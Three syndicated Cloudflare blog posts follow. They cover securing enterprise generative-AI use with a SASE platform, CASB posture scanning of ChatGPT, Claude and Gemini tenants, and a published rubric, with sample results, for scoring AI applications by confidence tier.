Post Syndicated from AJ Gerstenhaber original https://blog.cloudflare.com/best-practices-sase-for-ai/

As Generative AI revolutionizes businesses everywhere, security and IT leaders find themselves in a tough spot. Executives are mandating speedy adoption of Generative AI tools to drive efficiency and stay abreast of competitors. Meanwhile, IT and Security teams must rapidly develop an AI Security Strategy, even before the organization really understands exactly how it plans to adopt and deploy Generative AI. 

IT and Security teams are no strangers to “building the airplane while it is in flight”. But this moment comes with new and complex security challenges. There is an explosion in new AI capabilities adopted by employees across all business functions — both sanctioned and unsanctioned. AI Agents are ingesting authentication credentials and autonomously interacting with sensitive corporate resources. Sensitive data is being shared with AI tools, even as security and compliance frameworks struggle to keep up.

While it demands strategic thinking from Security and IT leaders, the problem of governing the use of AI internally is far from insurmountable. SASE (Secure Access Service Edge) is a popular cloud-based network architecture that combines networking and security functions into a single, integrated service that provides employees with secure and efficient access to the Internet and to corporate resources, regardless of their location. The SASE architecture can be effectively extended to meet the risk and security needs of organizations in a world of AI. 

Cloudflare’s SASE Platform is uniquely well-positioned to help IT teams govern their AI usage in a secure and responsible way — without extinguishing innovation. What makes Cloudflare different in this space is that we are one of the few SASE vendors that operate not just in cybersecurity, but also in AI infrastructure. This includes: providing AI infrastructure for developers (e.g. Workers AI, AI Gateway, remote MCP servers, Realtime AI Apps) to securing public-facing LLMs (e.g. Firewall for AI or AI Labyrinth), to allowing content creators to charge AI crawlers for access to their content, and the list goes on. Our expertise in this space gives us a unique view into governing AI usage inside an organization.  It also gives our customers the opportunity to plug different components of our platform together to build out their AI and AI cybersecurity infrastructure.

This week, we are taking this AI expertise and using it to help ensure you have what you need to implement a successful AI Security Strategy. As part of this, we are announcing several new AI Security Posture Management (AI-SPM) features, including:

All of these new AI-SPM features are built directly into Cloudflare’s powerful SASE platform.

And we’re just getting started. In the coming months you can expect to see additional valuable AI-SPM features launch across the Cloudflare platform, as we continue investing in making Cloudflare the best place to protect, connect, and build with AI.

What’s in this AI security guide?

In this guide, we will cover best practices for adopting generative AI in your organization using Cloudflare’s SASE (Secure Access Service Edge) platform. We start by covering how IT and Security leaders can formulate their AI Security Strategy. Then, we show how to implement this strategy using long-standing features of our SASE platform alongside the new AI-SPM features we launched this week. 

This guide below is divided into three key pillars for dealing with (human) employee access to AI – Visibility, Risk Management and Data Protection — followed by additional guidelines around deploying agentic AI in the enterprise using MCP. Our objective is to help you align your security strategy with your business goals while driving adoption of AI across all your projects and teams. 

And we do this all using our single SASE platform, so you don’t have to deploy and manage a complex hodgepodge of point solutions and security tools. In fact, we provide you with an overview of your AI security posture in a single dashboard, as you can see here:


AI Security Report in Cloudflare’s SASE platform

Develop your AI Security Strategy

The first step to securing AI usage is to establish your organization’s level of risk tolerance. This includes pinpointing your biggest security concerns for your users and your data, along with relevant legal and compliance requirements.   Relevant issues to consider include: 

  • Do you have specific sensitive data that should not be shared with certain AI tools? (Some examples include personally identifiable information (PII), personal health information (PHI), sensitive financial data, secrets and credentials, source code or other proprietary business information.)

  • Are there business decisions that your employees should not be making using assistance from AI? (For instance, the EU AI Act AI prohibits the use of AI to evaluate or classify individuals based on their social behavior, personal characteristics, or personality traits.)

  • Are you subject to compliance frameworks that require you to produce records of the generative AI tools that your employees used, and perhaps even the prompts that your employees input into AI providers? (For example, HIPAA requires organizations to implement audit trails that records who accessed PHI and when, GDPR requires the same for PII, SOC2 requires the same for secrets and credentials.)

  • Do you have specific data protection requirements that require employees to use the sanctioned, enterprise version of a certain generative AI provider, and avoid certain AI tools or their consumer versions?  (Enterprise AI tools often have more favorable terms of service, including shorter data retention periods, more limited data-sharing with third-parties, and/or a promise not to train AI models on user inputs.)

  • Do you require employees to completely avoid the use of certain AI tools, perhaps because they are unreliable, unreviewed or headquartered in a risky geography? 

  • Are there security protections offered by your organization’s sanctioned AI providers and to what extent do you plan to protect against misconfigurations of AI tools that can result in leaks of sensitive data?  

  • What is your policy around the use of autonomous AI agents?  What is your strategy for adopting the Model Context Protocol (MCP)? (The Model Context Protocol is a standard way to make information available to large language models (LLMs), similar to the way an application programming interface (API) works. It supports agentic AI that autonomously pursues goals and takes action.)

While almost every organization has relevant compliance requirements that implicate their use of generative AI, there is no “one size fits all” for addressing these issues. 

  • Some organizations have mandates to broadly adopt AI tools of all stripes, while others require employees to interact with sanctioned AI tools only. 

  • Some organizations are rapidly adopting the MCP, while others are not yet ready for agents to autonomously interact with their corporate resources. 

  • Some organizations have robust requirements around data loss prevention (DLP), while others are still early in the process of deploying DLP in their organization.

Even with this diversity of goals and requirements, Cloudflare SASE provides a flexible platform for the implementation of your organization’s AI Security Strategy.

Build a solid foundation for AI Security 

To implement your AI Security Strategy, you first need a solid SASE deployment. 

SASE provides a unified platform that consolidates security and networking, replacing a fragmented patchwork of point solutions with a single platform that controls application visibility, user authentication, Data Loss Prevention (DLP), and other policies for access to the Internet and access to internal corporate resources.  SASE is the essential foundation for an effective AI Security Strategy. 

SASE architecture allows you to execute your AI security strategy by discovering and inventorying the AI tools used by your employees. With this visibility, you can proactively manage risk and support compliance requirements by monitoring AI prompts and responses to understand what data is being shared with AI tools. Robust DLP allows you to scan and block sensitive data from being entered into AI tools, preventing data leakage and protecting your organization’s most valuable information. Our Secure Web Gateway (SWG) allows you to redirect traffic from unsanctioned AI providers to user education pages or to sanctioned enterprise AI providers. And our new integration of MCP tooling into our SASE platform helps you secure the deployment of agentic AI inside your organization.

If you’re just starting your SASE journey, our Secure Internet Traffic Deployment Guide is the best place to begin. For this guide, however, we will skip these introductory details and dive right into using SASE to secure the use of Generative AI. 

Gain visibility into your AI landscape 

You can’t protect what you can’t see. The first step is to gain visibility into your AI landscape, which is essential for discovering and inventorying all the AI tools that your employees are using, deploying or experimenting with in your organization. 

Discover Shadow AI 

Shadow AI refers to the use of AI applications that haven’t been officially sanctioned by your IT department. Shadow AI is not an uncommon phenomenon – Salesforce found that over half of the knowledge workers it surveyed admitted to using unsanctioned AI tools at work. Use of unsanctioned AI is not necessarily a sign of malicious intent; employees are often just trying to do their jobs better. As an IT or Security leader, your goal should be to discover Shadow AI and then apply the appropriate AI security policy. There are two powerful ways to do this: inline and out-of-band.

Discover employee usage of AI, inline

The most direct way to get visibility is by using Cloudflare’s Secure Web Gateway (SWG). 

SWG helps you get a clear picture of both sanctioned and unsanctioned AI and chat applications. By reviewing your detected usage, you’ll gain insight into which AI apps are being used in your organization. This knowledge is essential for building policies that support approved tools, and block or control risky ones. This feature requires you to deploy the WARP client in Gateway proxy mode on your end-user devices.

You can review your company’s AI app usage using our new Application Library and Shadow IT dashboards. These tools allow you to: 

  • Review traffic from user devices to understand how many users engage with a specific application over time.

  • Denote application’s status (e.g., Approved, Unapproved) inside your organization, and use that as input to a variety of SWG policies that control access to applications with that status. 

  •  Automate assessment of SaaS and Gen AI applications at scale with our soon-to-be-released Cloudflare Application Confidence Scores. 


Shadow IT dashboard showing utilization of applications of different status (Approved, Unapproved, In Review, Unreviewed).

Discover employee usage of AI, out-of-band

Even if your organization doesn’t use a device client, you can still get valuable data on Shadow AI usage if you use Cloudflare’s integrations for Cloud Access Security Broker (CASB) with services like Google Workspace, Microsoft 365, or GitHub. 

Cloudflare CASB provides high-fidelity detail about your SaaS environments, including sensitive data visibility and suspicious user activity. By integrating CASB with your SSO provider, you can see if your users have authenticated to any third-party AI applications, giving you a clear and non-invasive sense of app usage across your organization.


An API CASB integration with Google Workspace, showing findings filtered to third party integrations. Findings discover multiple LLM integrations.

Implement an AI risk management framework

Now that you’ve gained visibility into your AI landscape, the next step is to proactively manage that risk. Cloudflare’s SASE platform allows you to monitor AI prompts and responses, enforce granular security policies, coach users on secure behavior, and prevent misconfigurations in your enterprise AI providers.

Detect and monitor AI prompts and responses

If you have TLS decryption enabled in your SASE platform, you can gain new and powerful insights into how your employees are using AI with our new AI prompt protection feature.  

AI Prompt Protection provides you with visibility into the exact prompts and responses from your employees’ interactions with supported AI applications. This allows you to go beyond simply knowing which tools are being used and gives you insight into exactly what kind of information is being shared.  

This feature also works with DLP profiles to detect sensitive data in prompts. You can also choose whether to block the action or simply monitor it.


Log entry for a prompt detected using AI prompt protection.

Build granular AI security policies

Once your monitoring tools give you a clear understanding of AI usage, you can begin building security policies to achieve your security goals. Cloudflare’s Gateway allows you to create policies based on application categories, application approval status, users, user groups, and device status. For example, you can:

  • create policies to explicitly allow approved AI applications while blocking unapproved AI applications;

  • create policies that redirect users from unapproved AI applications to an approved AI application;

  • limit access to certain applications to specific users or groups that have specific device security posture;

  • build policies to enable prompt capture (with AI prompt protection) for specific high-risk user groups, such as contractors or new employees, without affecting the rest of the organization; and

  • put certain applications behind Remote Browser Isolation (RBI), to prevent end users from uploading files or pasting data into the application.


Gateway application status policy selector

All of these policies can be written in Cloudflare Gateway’s unified policy builder, making it easy to deploy your AI Security Strategy across your organization.

Control access to internal LLMs 

You can use Cloudflare Access to control your employees’ access to your organization’s internal LLMs, including any proprietary models you train internally and/or models that your organization runs on Cloudflare Worker’s AI. 

Cloudflare Access allows you to gate access to these LLMs using fine-grained policies, including ensuring users are granted access based on their identity, user group, device posture, and other contextual signals. For example, you can use Cloudflare Access to write a policy that ensures that only certain data scientists at your organization can access a Workers AI model that is trained on certain types of customer data. 

Manage the security posture of third-party AI providers

As you define which AI tools are sanctioned, you can develop functional security controls for consistent usage. Cloudflare newly supports API CASB integrations with popular AI tools like OpenAI (ChatGPT), Anthropic (Claude), and Google Gemini. These “out-of-band” integrations provide immediate visibility into how users are engaging with sanctioned AI tools, allowing you to report on posture management findings include:

  • Misconfigurations related to sharing settings.

  • Best practices for API key management.

  • DLP profile matches in uploaded attachments

  • Riskier AI features (e.g. autonomous web browsing, code execution) that are toggled on


OpenAI API CASB Integration showing riskier features that are toggled on, security posture risks like unused admin credentials, and an uploaded attachment with a DLP profile match.

Layer on data protection 

Robust data protection is the final pillar that protects your employee’s access to AI.. 

Prevent data loss

Our SASE platform has long supported Data Loss Prevention (DLP) tools that scan and block sensitive data from being entered into AI tools, to prevent data leakage and protect your organization’s most valuable information.  You can write policies that detect sensitive data while adapting to organization-specific traffic patterns, and use Cloudflare Gateway’s unified policy builder to apply these to your users’ interactions with AI tools or other applications. For example, you could write a DLP policy that detects and blocks the upload of a social security number (SSN), phone number or address.

As part of our new AI prompt protection feature, you can now also gain a semantic understanding of your users’ interactions with supported AI providers. Prompts are classified inline into meaningful, high-level topics that include PII, credentials and secrets, source code, financial information, code abuse / malicious code and prompt injection / jailbreak.  You can then build inline granular policies based on these high-level topic classifications. For example, you could create a policy that blocks a non-HR employee from submitting a prompt with the intent to receive PII from the response, while allowing the HR team to do so during a compensation planning cycle. 

Our new AI prompt protection feature empowers you to apply smart, user-specific DLP rules that empower your teams to get work done, all while strengthening your security posture. To use our most advanced DLP feature, you’ll need to enable TLS decryption to inspect traffic.


The above policy blocks all ChatGPT prompts that may receive PII back in the response for employees in engineering, marketing, product, and finance user groups. 

Secure MCP — and Agentic AI 

MCP (Model Context Protocol) is an emerging AI standard, where MCP servers act as a translation layer for AI agents, allowing them to communicate with public and private APIs, understand datasets, and perform actions. Because these servers are a primary entry point for AI agents to engage with and manipulate your data, they are a new and critical security asset for your security team to manage.

Cloudflare already offers a robust set of developer tools for deploying remote MCP servers—a cloud-based server that acts as a bridge between a user’s data and tools and various AI applications. But now our customers are asking for help securing their enterprise MCP deployments. 

That is why we’re making MCP security controls a core part of our SASE platform.

Control MCP Authorization

MCP servers typically use OAuth for authorization, where the server inherits the permissions of the authorizing user. While this adheres to least-privilege for the user, it can lead to authorization sprawl — where the agent accumulates an excessive number of permissions over time. This makes the agent a high-value target for attackers.

Cloudflare Access now helps you manage authorization sprawl by applying Zero Trust principles to MCP server access. A Zero Trust model assumes no user, device, or network can be trusted implicitly, so every request is continuously verified. This approach ensures secure authentication and management of these critical assets as your business adopts more agentic workflows. 

Centralize management of MCP servers

Cloudflare MCP Server Portal is a new feature in Cloudflare’s SASE platform that centralizes the management, security, and observation of an organization’s MCP servers.

MCP Server Portal allows you to register all your MCP servers with Cloudflare and provide your end users with a single, unified Portal endpoint to configure in their MCP client. This approach simplifies the user experience, because it eliminates the need to configure a one-to-one connection between every MCP client and server. It also means that new MCP servers dynamically become available to users whenever they are added to the Portal. 

Beyond these usability enhancements, MCP Server Portal addresses the significant security risks associated with MCP in the enterprise. The current decentralized approach of MCP deployments creates a tangle of unmanaged one-to-one connections that are difficult to secure. The lack of centralized controls creates a variety of risks including prompt injection, tool injection (where malicious code is part of the MCP server itself), supply chain attacks and data leakage. 

MCP Server Portals solve this by routing all MCP traffic through Cloudflare, allowing for centralized policy enforcement, comprehensive visibility and logging, and a curated user experience based on the principle of least privilege. Administrators can review and approve MCP servers before making them available, and users are only presented with the servers and tools they are authorized to use, which prevents the use of unvetted or malicious third-party servers.


An MCP Server Portal in the Cloudflare Dashboard

All of these features are only the beginning of our MCP security roadmap, as we continue advancing our support for MCP infrastructure and security controls across the entire Cloudflare platform.

Implement your AI security strategy in a single platform

As organizations rapidly develop and deploy their AI security strategies, Cloudflare’s SASE platform is ideally situated to implement policies that balance productivity with data and security controls.

Our SASE has a full suite of features to protect employee interactions with AI. Some of these features are deeply integrated in our Secure Web Gateway (SWG), including the ability to write fine-grained access policies, gain visibility into Shadow IT and introspect on interactions with AI tools using AI prompt protection. Apart from these inline controls, our CASB provides visibility and control using out-of-band API integrations. Our Cloudflare Access product can apply Zero Trust principles while protecting employee access to corporate LLMs that are hosted on Workers AI or elsewhere. We’re newly integrating controls for securing MCP that can also be used alongside Cloudflare’s Remote MCP Server platform.

And all of these features are integrated directly into Cloudflare’s SASE’s unified dashboard, providing a unified platform for you to implement your AI security strategy. You can even gain a holistic view of all of your AI-SPM controls using our newly-released AI-SPM overview dashboard. 


AI security report showing utilization of AI applications.

As one the few SASE vendors that also offer AI infrastructure, Cloudflare’s SASE platform can also be deployed alongside products from our developer and application security platforms to holistically implement your AI security strategy alongside your AI infrastructure strategy (using, for example, Workers AI, AI Gateway, remote MCP servers, Realtime AI Apps, Firewall for AI, AI Labyrinth, or pay per crawl .)

Cloudflare is committed to helping enterprises securely adopt AI

Ensuring AI is scalable, safe, and secure is a natural extension of Cloudflare’s mission, given so much of our success relies on a safe Internet. As AI adoption continues to accelerate, so too does our mission to provide a market-leading set of controls for AI Security Posture Management (AI-SPM). Learn more about how Cloudflare helps secure AI or start exploring our new AI-SPM features in Cloudflare’s SASE dashboard today!

ChatGPT, Claude, & Gemini security scanning with Cloudflare CASB

Post Syndicated from Alex Dunbrack original https://blog.cloudflare.com/casb-ai-integrations/

Starting today, all users of Cloudflare One, our secure access service edge (SASE) platform, can use our API-based Cloud Access Security Broker (CASB) to assess the security posture of their generative AI (GenAI) tools: specifically, OpenAI’s ChatGPT, Claude by Anthropic, and Google’s Gemini. Organizations can connect their GenAI accounts and within minutes, start detecting misconfigurations, Data Loss Prevention (DLP) matches, data exposure and sharing, compliance risks, and more — all without having to install cumbersome software onto user devices.

As Generative AI adoption has exploded in the enterprise, IT and Security teams need to hustle to keep themselves abreast of newly emerging  security and compliance challenges that come alongside these powerful tools. In this rapidly changing landscape, IT and Security teams need tools that help enable AI adoption while still protecting the security and privacy of their enterprise networks and data. 

Cloudflare’s API CASB and inline CASB work together to help organizations safely adopt AI tools. The API CASB integrations provide out-of-band visibility into data at rest and security posture inside popular AI tools like ChatGPT, Claude, and Gemini. At the same time, Cloudflare Gateway provides in-line prompt controls and Shadow AI identification. It applies policies and DLP to traffic as it moves to these AI providers. Together, these features give organizations a unified control plane for securing their use of GenAI.

What’s new

ChatGPT, Claude and Gemini are now all live in the integrations supported by Cloudflare’s API CASB. These integrations are available to all Cloudflare One users, account owners can easily connect their GenAI tenants, and CASB will scan for security issues across multiple domains:

  • Agentless Connections: Connect ChatGPT, Claude, and Gemini via agentless, API‑based integrations to scan posture and data risks; no endpoint software to install.

  • Posture Management: Detect insecure settings and misconfigurations that can lead to data exposure or misuse.

  • DLP Detection: Identify where sensitive data has been uploaded in chat attachments (prompts coming soon).

  • GenAI-specific Insights: Surface risks associated with the unique capability of a given AI provider’s toolsets.

Admins can now answer questions like: What are our employees doing in ChatGPT? What data is being uploaded and used in Claude? Is Gemini configured correctly in Google Workspace?

Now let’s take a closer look at each integration.

OpenAI ChatGPT


Cloudflare’s CASB integration with OpenAI’s ChatGPT scans for several types of insights, including:

  • External Exposure: Finds chats and GPTs that are shared beyond the tenant, like GPTs shared publicly or listed on the GPT Store, and ties them back to their owners for quick triage.

  • Secrets, Keys and Invites: Identifies API keys that aren’t rotated or are no longer used to maintain credential hygiene. Identifies over‑privileged or stale invites.

  • Sensitive Content (via DLP): Detects sensitive data (e.g. credential and secrets, financial / health information, source code, etc.) via DLP profile matches in uploaded chat attachments to enable targeted response.

Anthropic Claude

For Claude, Cloudflare is able to provide the following out-of-band detections:

  • Secrets, Keys and Invites: Surfaces high‑risk invites and entitlement drift early so the least‑privilege access control stays tight. Spots unused API keys and rotation gaps before they turn into forgotten open doors.

  • Sensitive Content (via DLP): Monitors for sensitive data in uploaded files to help organizations safely enable Claude usage while maintaining compliance. Security teams get this information as quickly as CASB scans, giving them the visibility they need to help employees use Claude productively and securely with sensitive data.

As Anthropic continues to expand Claude’s API capabilities and features, Cloudflare will add corresponding security detections to match new functionality as it becomes available.

Google Gemini

Cloudflare’s detections for Google Gemini appear as part of our API CASB integration for Google Workspace:

  • Identity & MFA: Identifies Gemini users and admins without MFA, leaving them prime targets for compromise. Imagine if an IT admin relied on Gemini daily to process corporate data, but their Google Workspace account lacked multi-factor authentication. One successful phishing email could give an attacker privileged access to Gemini and the wider Google Workspace environment — turning a minor oversight into an organization-wide breach. 

  • License Hygiene: Flags suspended accounts still holding Gemini or AI Ultra licenses to cut cost and reduce exposure. An AI Ultra user has access to more powerful and riskier features, like Project Mariner, a research prototype that acts as an autonomous agent, capable of automating up to 10 tasks simultaneously across web browsers. An attacker can cause more damage by compromising an AI Ultra user, which is why we include this in our set of detections.

The Gemini integration has a narrower scope because Google has structured their product and API differently than OpenAI or Anthropic. For organizations, Gemini is delivered as a Google Workspace add-on. Enterprises enable Gemini features in Gmail, Docs, Sheets, and other Google Workspace apps through add-on licenses such as Gemini Enterprise or AI Ultra. Our CASB detections focus on identity, MFA, and license hygiene, rather than posture issues like public sharing or custom assistant publishing because Gemini does not yet provide those API endpoints.

The Future of GenAI Posture Management

Like countless other organizations, Cloudflare is adopting GenAI, on the same journey to make these environments even safer than they are today. We are excited to extend our management coverage to our customers so they can continue to innovate with GenAI. But looking ahead, we’re encouraged to see GenAI providers take concrete steps towards making security, compliance, and data privacy even more important tenets of their platforms.

Secure GenAI beyond the reach of Inline Controls

Generative AI adoption brings new security requirements. Cloudflare CASB delivers out-of-band visibility across these tools, surfacing insights on top of inline controls. With posture, access, and data under control, organizations can embrace GenAI confidently and securely.

How to get started:

  • For existing Cloudflare One customers: Contact your account manager or enable the integrations directly in your dashboard today.

  • New to Cloudflare One? Sign up now for 50 free seats to begin securely using Gen AI immediately. For larger deployments, request a consultation with our experts.

If you want to preview other new functionality and help shape our roadmap, express interest in our user research program for AI security.

Introducing Cloudflare Application Confidence Score For AI Applications

Post Syndicated from Ayush Kumar original https://blog.cloudflare.com/confidence-score-rubric/

Introduction

The availability of SaaS and Gen AI applications is transforming how businesses operate, boosting collaboration and productivity across teams. However, with increased productivity comes increased risk, as employees turn to unapproved SaaS and Gen AI applications, often dumping sensitive data into them for quick productivity wins. 

The prevalence of “Shadow IT” and “Shadow AI” creates multiple problems for security, IT, GRC and legal teams. For example:

In spite of these problems, blanket bans of Gen AI don’t work. They stifle innovation and push employee usage underground. Instead, organizations need smarter controls.

Security, IT, legal and GRC teams therefore face a difficult challenge: how can you appropriately assess each third-party application, without auditing and crafting individual policies for every single one of them that your employees might decide to interact with? And with the rate at which they’re proliferating — how could you possibly hope to keep abreast of them all?

Today, we’re excited to announce that we’re helping these teams automate assessment of SaaS and Gen AI applications at scale with the introduction of our new Cloudflare Application Confidence Scores. Scores will soon be available as part of our new suite of AI Security Posture Management (AI-SPM) features in the Cloudflare One SASE platform, enabling IT and Security administrators to identify confidence levels associated with third-party SaaS and AI applications, and ultimately write policies informed by those confidence scores. We’re starting by scoring AI applications, because that’s where the need is most urgent.

In this blog, we’ll be covering the design of our Cloudflare Application Confidence Score, focusing specifically about the features of the score and our scoring rubric.  Our current goal is to reveal the details of our scoring rubric, which is designed to be as transparent and objective as possible — while simultaneously helping organizations of all sizes safely adopt AI, and encouraging the industry and AI providers to adopt best practices for AI safety and security.  

In the future, as part of our mission to help build a better Internet, we also plan to make Cloudflare Application Confidence Scores available for free to all our customer tiers. And even if you aren’t a Cloudflare customer, you will easily be able to browse through these Scores by creating a free account on the Cloudflare dashboard and navigating to our new Application Library.  

Transparency, not vibes

Cloudflare Application Confidence Scores is a transparent, understandable, and accountable metric that measures app safety, security, and data protection. It’s designed to give Security, IT, legal and GRC teams a rapid way of assessing the rapidly burgeoning space of AI applications.

Scores are not based on vibes or black-box “learning algorithms” or “artificial intelligence engines”.  We avoid subjective judgments or large-scale red-teaming as those can be tough to execute reliably and consistently over time. Instead, scores will be computed against an objective rubric that we describe in detail in this blog. Our rubric will be publicly maintained and kept up to date in the Cloudflare developer docs. 

Many providers of the applications that we score are also our customers and partners, so our overarching goal is to be as fair and accountable as possible. We believe that transparency will build trust in our scoring rubric and guide the industry to adopt the best practices that our scoring rubric encourages. 

Principles behind our rubric

Each component of our rubric requires a simple answer based on publicly available data like privacy policies, security documentation, compliance certifications, model cards and incident reports. If something isn’t publicly disclosed, we assign zero points to that component of the rubric, with no further assumptions or guesswork.  Scores are computed according to our rubric via an automated system that incorporates human oversight for accuracy.  We use crawlers to collect public information (e.g. privacy policies, compliance documents), process it using AI for extraction and to compute the resulting scores, and then send them to human analysts for a final review.   

Scores are reviewed on a periodic basis. If a vendor believes that we have mis-scored their application, they can submit supporting documentation via [email protected], and we will update their score if appropriate.

Scores are on a scale from 1 to 5, with 5 being the highest confidence and 1 being the most risky. We decided to use a “confidence score” instead of a “risk score” because we can express confidence in an application when it provides clear positive evidence of good security, compliance and safety practices. An application may have good practices internally, but we cannot express confidence in these practices if they are not publicly documented. Moreover, a confidence score allows us to give customers transparent information, so they can make their own informed decisions. For example, an application might get a low confidence score because it lacks a documented data retention policy. While that might be a concern for some, your organization might find it acceptable and decide to allow the application anyway.

We separately evaluate different account tiers for the same application provider, because different account tiers can provide very different levels of enterprise risk. For instance, consumer plans (e.g. ChatGPT Free) may involve training on user prompts and score lower, whereas enterprise plans (e.g. ChatGPT Enterprise) do not train on user prompts and thus score higher. 

That said, we are quite opinionated about components we selected in our rubric, drawing from deep experience of our own internal product, engineering, legal, GRC, and security teams. We prioritize factors like data retention policies and encryption standards because we believe they are foundational to protecting sensitive information in an AI-driven world. We included certifications, security frameworks and model cards because they provide evidence of maturity, stability, safety and adherence with industry best practices.

Actually, it’s really two Scores

As AI applications emerge at an unprecedented pace, the problem of “Shadow AI” intensifies traditional risks associated with Shadow IT. Shadow IT applications create risk when they retain user data for long periods, have lax security practices, are financially unstable, or widely share data with third parties.  Meanwhile, AI tools create new risks when they retain and train on user prompts, or generate responses that are biased, toxic, inaccurate or unsafe. 

To separate out these different risks, we provide two different Scores: 

  • Application Confidence Score (5 points) covers general SaaS maturity, and

  • Gen-AI Confidence Score (5 points) focused on Gen AI-specific risks.

We chose to focus on two separate areas to make our metric extensible (so that, in the future, we can apply it to applications that are not focused on Gen AI) and to make the Scores easier to understand and reason about.   

Each Score is applied to each account tier of a given Gen AI provider. For example, here’s how we scored OpenAI’s ChatGPT:

  • ChatGPT Free (App Confidence 3.3, GenAI Confidence 1) received a low score due to limited enterprise controls and higher data exposure risk since by default, input data is used for model training.

  • ChatGPT Plus (App Confidence 3.3, GenAI Confidence 3) scored slightly higher as it allows users to opt out of training on their input data.

  • ChatGPT Team (App Confidence 4.3, GenAI Confidence 3) improved further with added collaboration safeguards and configurable data retention windows.

  • ChatGPT Enterprise (App Confidence 4.3, GenAI Confidence 4) achieved the highest score, as training on input data is disabled by default while retaining the enhanced controls from the Team tier.

A detailed look at our rubric

We now walk through the details of the rubric behind each of our Scores.

Application Confidence Score (5.0 Points Total)

This half evaluates the app’s overall maturity as a SaaS service, drawing from enterprise best practices.

  • Regulatory Compliance: Checks for key certifications that signal operational maturity. We selected these because they represent proven frameworks that demonstrate a commitment to widely-adopted security and data protection best practices.

  • Data Management Practices: Focuses on how data is retained and shared to minimize exposure. These criteria were chosen as they directly impact the risk of data leaks or misuse, based on common vulnerabilities we’ve observed in SaaS environments and our own legal/GRC team’s experience assessing third-party SaaS applications at Cloudflare.

    • Documented data retention window:  Shorter retention limits risk.

      • 0 day retention: .5 points

      • 30 day retention: .4 points

      • 60 day retention: .3 points

      • 90 day retention: .1 point

      • No documented retention window: 0 points

    • Third-party sharing: No sharing means less external exposure of enterprise data. Sharing for advertising purposes means high risk of third parties mining and using the data.

      • No third-party sharing: .5 points.

      • Sharing only for troubleshooting/support: .25 points

      • Sharing for other reasons like advertising or end user targeting: 0 points

  • Security Controls: We prioritized these because they form the foundational defenses against unauthorized access, drawing from best practices that have prevented incidents in cloud services.

    • MFA support: .2 points.

    • Role-based access: .2 points.

    • Session monitoring: .2 points.

    • TLS 1.3: .2 points.

    • SSO support: .2 points.

  • Security reports and incident history: Rewards transparency and deducts for recent issues. This was included to emphasize accountability, as a history of breaches or proactive transparency often indicates how seriously a provider takes security.

    • Published safety framework and bug bounty: 1 point.

      • To get full points the company needs to have both of the following: 

        • A publicly accessible page (e.g., security, trust, or safety) that includes a comprehensive whitepaper, framework overview, OR detailed security documentation that covers:

          • Encryption in transit and at rest

          • Authentication and authorization mechanisms

          • Network or infrastructure security design

        • Incident Response Transparency – Published vulnerability disclosure or bug bounty policy OR a documented incident response process and security advisory archive.

      • Example: Google has a bug bounty program, a whitepaper providing an overview of their security posture, as well as a transparency report. 

    • No commitments or weak security framework with the lack of any of the above criteria. If the company only has one of the criteria above but lacks the other they will also receive no credit: 0 points.

      • Example: Lovable who has a security page but seems to lack many other parts of the criteria: https://lovable.dev/security

    • If there has been a material breach in the last two years. If the company has experienced a material cybersecurity incident that resulted in the unauthorized disclosure of customer data to external parties (e.g., data posted, sold, or otherwise made accessible outside the organization). Incident must be publicly acknowledged by the company through a trust center update, press release, incident notification page, or an official regulatory filing: Full deduction to 0.

      • Example: 23andMe suffered credential stuffing attack in 2023 that resulted in the exposure of user data.

  • Financial Stability: Gauges long-term viability of the company behind the application. We added this because a company’s financial health affects its ability to invest in ongoing security and support, and reduces the risk of sudden disruptions, corner-cutting, bankruptcy or sudden sale of user data to unknown third parties.

    • Public company or private with >$300M raised: .8 points.

    • Private with >$100M raised: .5 points.

    • Private with <$100M raised: .2 point.

    • Recent bankruptcy/distress (e.g. recent bankruptcy filings, major layoffs tied to funding shortfalls, failure to meet debt obligations): 0 points.

Gen-AI Confidence Score (5.0 Points Total)

This Score zooms in on AI-specific risks, like data usage in training and input vulnerabilities.

  • Regulatory Compliance, ISO 42001: ISO 42001 is a new certification for AI management systems. We chose this emerging standard because it specifically addresses AI governance, filling a gap in traditional certifications and signaling forward-thinking risk management.

    • ISO 42001 Compliant: 1 point.

    • Not ISO 42001 Compliant: 0 points.

  • Deployment Security Model: Stronger access controls get higher points. Authentication not only controls access but also enables monitoring and logging. This makes it easier to detect misuse and investigate incidents. Public, unauthenticated access is a red flag for shadow IT risk.

    • Authenticated web portal or key-protected API with rate limiting: 1 point.

    • Unprotected public access: 0 points.

  • Model Card:  A model card is a concise document that provides essential information about an AI model, similar to a nutrition label for a food product. It is crucial for AI safety and security because it offers transparency into a model’s design, training data, limitations, and potential biases, enabling developers and users to understand its risks and use it responsibly. Some leading AI providers have committed to providing model cards as public documentation of safety evaluations. We included this in our rubric to encourage the industry to broadly adopt model cards as a best practice. As the practice of model cards is further developed and standardized across the industry, we hope to incorporate more fine-grained details from model cards into our own risk scores. But for now, we only include the existence (or lack thereof) of a model card in our score.

    • Has its own model card: 1 point.

    • Uses a model with a model card: .5 points.

    • None: 0 points.

  • Training on user prompts: This is one of the most important components of our score.  Models that train on user prompts are very risky because users might share sensitive corporate information in user prompts. We weighted this heavily because control over training data is central to preventing unintended data exposure, a core risk in generative AI that can lead to major incidents.

    • Explicit opt-in is required for training on user prompts: 2 points.

    • Opt-out of training on user prompts is explicitly available to users: 1 point.

    • No way to opt out of training on user prompts: 0 points.

Here’s an example of these Scores applied to a few popular AI providers.  As expected, enterprise tiers typically earn higher Confidence Scores than consumer tiers of the same AI provider.

Company Application Score Gen AI Score
Gemini Free 3.8 4.0
Gemini Pro 3.8 5.0
Gemini Ultra 4.1 5.0
Gemini Business 4.7 5.0
Gemini Enterprise 4.7 5.0
OpenAI Free 3.3 1.0
OpenAI Plus 3.3 3.0
OpenAI Pro 3.3 3.0
OpenAI Team 4.3 3.0
OpenAI Enterprise 4.3 4.0
Anthropic Free 3.9 5.0
Anthropic Pro 3.9 5.0
Anthropic Max 3.9 5.0
Anthropic Team 4.9 5.0
Anthropic Enterprise 4.9 5.0

Note: Confidence scores are provided “as is” for informational purposes only and should not be considered a substitute for independent analysis or decision-making. All actions taken based on the scores are the sole responsibility of the user.

We’re just getting started…

We’re actively refining our scoring methodology. To that end, we’re collaborating with a diverse group of experts in the AI ecosystem (including researchers, legal professionals, SOC teams, and more) to fine-tune our scores, optimize for transparency, accountability and extensibility. If you have insights, suggestions, or want to get involved testing new functionality, we’d love for you to express interest in our user research program. We’d very much welcome your feedback on this scoring rubric. 

